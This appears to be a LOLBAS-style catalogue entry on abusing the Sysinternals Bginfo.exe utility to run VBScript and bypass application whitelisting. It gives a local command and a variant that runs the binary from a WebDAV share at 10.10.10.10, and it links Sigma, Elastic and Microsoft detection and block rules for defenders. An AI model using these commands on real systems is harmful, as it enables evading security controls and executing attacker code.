

.. /Bginfo.exe

Execute (WSH)

AWL bypass (WSH)

Background Information Utility included with SysInternals Suite

Paths:

no default

Resources:

- <https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/>

Acknowledgements:

- Oddvar Moe ([@oddvarmoe](#))

Detections:

- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_bginfo.yml
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
- BlockRule: <https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules>

Execute

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```
bginfo.exe bginfo.bgi /popup /nolicprompt
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| Use case: | Local execution of VBScript |
| Privileges required: | User |
| Operating systems: | Windows |
| ATT&CK® technique: | T1218 |
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. Execute bginfo.exe from a WebDAV server.

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\\10.10.10.10\webdav\bginfo.exe bginfo.bgi /popup /nolicprompt
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Use case: Remote execution of VBScript
Privileges required: User
Operating systems: Windows
ATT&CK® technique: T1218
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